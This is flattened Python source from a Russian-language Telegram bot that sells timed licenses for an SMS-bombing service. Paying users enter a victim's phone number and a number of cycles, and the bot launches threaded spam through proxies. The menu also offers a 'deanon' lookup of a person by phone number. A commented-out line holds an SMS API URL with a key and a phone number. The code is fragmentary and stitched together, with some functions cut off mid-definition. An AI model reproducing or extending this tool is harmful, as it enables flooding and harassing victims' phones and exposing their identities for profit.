def statik(attack): f = open('proxy/proxy.txt', 'rb') proxy = len(f.readlines()) f.close() allUsers = Global.select().count() allNumber = WhiteNumber.select().count() return f"""
def start(message): userInfo = Global.select().where( Global.user_id == message.from_user.id) chat_id = message.from_user.id if userInfo.exists(): if userInfo[0].adm: self.send(chat_id, 'Для управления ботом воспользуйтесь кнопками', reply_markup=keyboard.userPanelAdm) else: if chat_id == admin_id: self.send( chat_id, 'Для управления ботом воспользуйтесь кнопками', reply_markup=keyboard.userPanelAdm) Global.update(adm=True).where( Global.user_id == chat_id).execute() else: self.send( chat_id, 'Для управления ботом воспользуйтесь кнопками', reply_markup=keyboard.userPanel) else: Global.create(user_id=chat_id, ) self.send(chat_id, 'Введите команду /start еще раз')
def startSpam(self, message): userInfo = Global.select().where( Global.user_id == message.from_user.id) text = message.text.split(' ') if text[0][0] == '7': if len(text) > 1 and text[1].isdigit(): if int(text[1]) < 60: if text[0].isdigit() and len(text[0]) == 11: if text[0] not in self.attack: if not WhiteNumber.select().where( WhiteNumber.number == text[0]).exists(): x = Thread(target=self.startingSpam, args=(message.from_user.id, text[0], text[1])) print(x) print( f'Запущен спам на номер {text[0]} от пользователя {message.from_user.id}' ) else: self.send(message.from_user.id, '[🚫]Этот номер в белом листе!', reply_markup=keyboard.startSpam) else: self.send(message.from_user.id, '[❗]Этот номер уже атакуют', reply_markup=keyboard.startSpam) else: self.send(message.from_user.id, '[🚫]Не правильный номер', reply_markup=keyboard.startSpam) else: self.send(message.from_user.id, '[❗]Нельзя указывать больше 60 циклов', reply_markup=keyboard.startSpam) else: self.send(message.from_user.id, '[🚫]Не правильно выполнен запрос', reply_markup=keyboard.startSpam) elif message.text == '❌Выйти❌': if userInfo[0].adm: self.send(message.from_user.id, '[❗]Вы вышли в основное меню', reply_markup=keyboard.userPanelAdm) else: self.send(message.from_user.id, '[❗]Вы вышли в основное меню', reply_markup=keyboard.userPanel) else: self.send(message.from_user.id, '[🚫]Номер должен начинаться с 7. Повторите команду', reply_markup=keyboard.startSpam)
def giveLicense_2(self, message, user_id): if message.text.isdigit(): userGive = Global.select().where(Global.user_id == user_id) if userGive.execute(): if userGive[0].license == '': give = datetime.now() + timedelta(days=int(message.text)) Global.update(license=give).where( Global.user_id == user_id).execute() self.send( message.from_user.id, f'[✅]Вы успешно выдали пользователю {user_id} лицензию на {message.text} дн(я/ей)', reply_markup=keyboard.adminPanel) try: self.send( user_id, f'[✅]Вам выдали лицензию на {message.text} дн(я/ей)' ) except: pass else: give = userGive[0].license + timedelta( days=int(message.text)) Global.update(license=give).where( Global.user_id == user_id).execute() self.send( message.from_user.id, f'[✅]Вы успешно добавили пользователю {user_id} лицензию на {message.text} дн(я/ей)', reply_markup=keyboard.adminPanel) try: self.send( user_id, f'[✅]Вам добавили лицензию на {message.text} дн(я/ей)' ) except: pass else: self.send(message.from_user.id, '[🚫]Пользователя не существует!', reply_markup=keyboard.adminPanel) elif message.text == '💢Отмена💢': self.send(message.from_user.id, '[❗]Действие отменено', reply_markup=keyboard.adminPanel) else: self.send(message.from_user.id, '[🚫]Кол-во дней состоит из цифр. Повторите команду!', reply_markup=keyboard.adminPanel)
def buySubs(count, user_id, cost): user = Global.select().where(Global.user_id == user_id) if user[0].balance >= int(cost): Global.update(balance=Global.balance - int(cost)).where(Global.user_id == user_id).execute() if user[0].license == '': give = datetime.now() + timedelta(days=int(count)) Global.update(license=give).where( Global.user_id == user_id).execute() return f'[✅]Вы успешно приобрели лицензию на {count} дн(я/ей)' else: give = user[0].license + timedelta(days=int(count)) Global.update(license=give).where( Global.user_id == user_id).execute() return f'[✅]Вы успешно приобрели лицензию на {count} дн(я/ей)' else: return f'[🚫]У вас недостаточно средств\n[💵]Ваш баланс: {user[0].balance}'
def giveBalanceFirst(self, message): if message.text.isdigit(): if Global.select().where(Global.user_id == message.text).exists(): addBalance = self.send(message.from_user.id, 'А теперь введите сумму: ') self.bot.register_next_step_handler(addBalance, self.giveBalanceTwo, message.text) else: self.send(message.from_user.id, '[🚫]Пользователя не существует', reply_markup=keyboard.adminPanel) elif message.text == '💢Отмена💢': self.send(message.from_user.id, '[❗]Действие отменено', reply_markup=keyboard.adminPanel) else: self.send(message.from_user.id, '[❗]Id пользователя состоит из цифр', reply_markup=keyboard.adminPanel)
def deleteLicense(self, message): if message.text.isdigit(): info = Global.select().where(Global.user_id == message.text) if info.exists(): Global.update(license='').where( Global.user_id == message.text).execute() self.send( message.from_user.id, f'[✅]Вы успешно забрали лицензию у пользователя {message.text}', reply_markup=keyboard.adminPanel) else: self.send( message.from_user.id, '[🚫]Повторите команду! Id пользователя состоит из цифр', reply_markup=keyboard.adminPanel) elif message.text == '💢Отмена💢': self.send(message.from_user.id, '[❗]Действие отменено', reply_markup=keyboard.adminPanel) else: self.send(message.from_user.id, '[🚫]Пользователя не существует', reply_markup=keyboard.adminPanel)
def delBalanceTwo(self, message, user_id): if message.text.isdigit(): user = Global.select().where(Global.user_id == user_id) if user[0].balance >= int(message.text): Global.update(balance=Global.balance - int(message.text)).where( Global.user_id == user_id).execute() self.send( message.from_user.id, f'[✅]Вы успешно забрали {message.text} рублей у пользователя' ) else: self.send( message.from_user.id, f'[🚫]У пользователя {user_id} не достаточно денег\nБаланс пользователя: {user[0].balance}', reply_markup=keyboard.adminPanel) elif message.text == '💢Отмена💢': self.send(message.from_user.id, '[❗]Действие отменено', reply_markup=keyboard.adminPanel) else: self.send(message.from_user.id, '[❗]Сумма состоит из цифр', reply_markup=keyboard.adminPanel)
def CountUser(): allUsers = Global.select().count() userBuy = Global.select().where(Global.license != '').count() userFree = Global.select().where(Global.license == '').count() return f'Количество пользователей: {allUsers} \nКупили приват: {userBuy}\nНе купили приват: {userFree}\nАтакуют: attack'
def bot_one(message): userInfo = Global.select().where( Global.user_id == message.from_user.id) chat_id = message.from_user.id if userInfo.exists(): chat_id = message.from_user.id if message.text == '💌SmS': if userInfo[0].license == '': self.send(chat_id, '[🚫]У вас нету лицензии') else: if userInfo[0].license > datetime.now(): if os.stat('proxy/proxy.txt').st_size > 0: start = self.send( chat_id, '[✅]Введите номер с 7 и кол-во циклов через пробел\nПример 79999999999 60: ', reply_markup=keyboard.cancelButton2) self.bot.register_next_step_handler( start, self.startSpam) else: self.send( chat_id, '[🚫]Подождите, идет обновление прокси!') else: Global.update(license='').where( Global.user_id == message.from_user.id).execute() self.send(chat_id, '[🚫]У вас закончилась лицензия') elif message.text == '🔥Начать спам': self.send(chat_id, '[✅]Выберите режим отправки', reply_markup=keyboard.startSpam) elif message.text == '🙎Профиль': if userInfo[0].license == '': self.send(chat_id, text.profileNone.replace( '{bal}', str(userInfo[0].balance)).replace( '{id}', str(userInfo[0].id)).replace( '{user_id}', str(userInfo[0].user_id)), parse_mode='HTML') else: day = userInfo[0].license - datetime.today() self.send( chat_id, text.profile.replace( '{bal}', str(userInfo[0].balance)).replace( '{id}', str(userInfo[0].id)).replace( '{user_id}', str(userInfo[0].user_id)).replace( '{license}', str(day.days)), parse_mode='HTML') elif message.text == '👌SmS со своим текстом': self.send(chat_id, '[❗]Функция в разработке') elif message.text == '📞Call': self.send(chat_id, '[❗]Функция в разработке') elif message.text == '💡Белый лист': if userInfo[0].license != '': if userInfo[0].license > datetime.now(): self.send(chat_id, '[✅]Вы вошли в управление белым листом', reply_markup=keyboard.whiteList) else: Global.update(license='').where( Global.user_id == message.from_user.id).execute() self.send(chat_id, '[🚫]У вас закончилась лицензия') else: self.send( chat_id, '[🚫]Чтобы использовать эту функцию необходимо приобрести подписку' ) elif message.text == '🔒Добавить': number = self.send(chat_id, '[✅]Введите номер с 7: ') self.bot.register_next_step_handler(number, self.addWhite) elif message.text == '🔓Удалить': number = self.send(chat_id, '[✅]Введите номер с 7: ') self.bot.register_next_step_handler(number, self.delWhite) elif message.text == '❌Выйти❌': if userInfo[0].adm: self.send(chat_id, '[🚫]Вы вышли в основное меню', reply_markup=keyboard.userPanelAdm) else: self.send(chat_id, '[🚫]Вы вышли в основное меню', reply_markup=keyboard.userPanel) elif message.text == '👑Деанон': if userInfo[0].license != '': if userInfo[0].license > datetime.now(): num = self.send(chat_id, '[✅]Введите номер телефона: ') self.bot.register_next_step_handler( num, self.InformPhone) else: self.send( chat_id, '[🚫]Для доступа к данной функции требуется лицензия' ) elif message.text == '😎Подписки': self.send(chat_id, '[✅]Выберите подписку[✅]', reply_markup=keyboard.subscription) elif message.text == '💸Статистика': self.send(chat_id, function.statik(self.attack)) else: if userInfo[0].adm: adminCommand(message, userInfo, chat_id) elif chat_id == admin_id: adminCommand(message, userInfo, chat_id) else: self.send(chat_id, '[❗]Я не понял вашу команду!') else: self.send(chat_id, '[❗]Введите команду /start')
import requests import random import json from datetime import datetime from db import Global, con con() d = Global.select().where( Global.user_id == 650358102)[0].license - datetime.today() #mm, ss = divmod(d.seconds, 60) #hh, mm = divmod(mm, 60) print(d.days) # url = f'https://sms.ru/sms/send?api_id=E996BF89-7113-F21D-D4D2-E6589388D3A0&to=79025864383&msg=Здравствуйте, молодой чебурек&json=0' # response = requests.get(url) # balance = re.findall(r'balance=(\w+)', str(response.text.encode('utf8')))[0] # print(balance)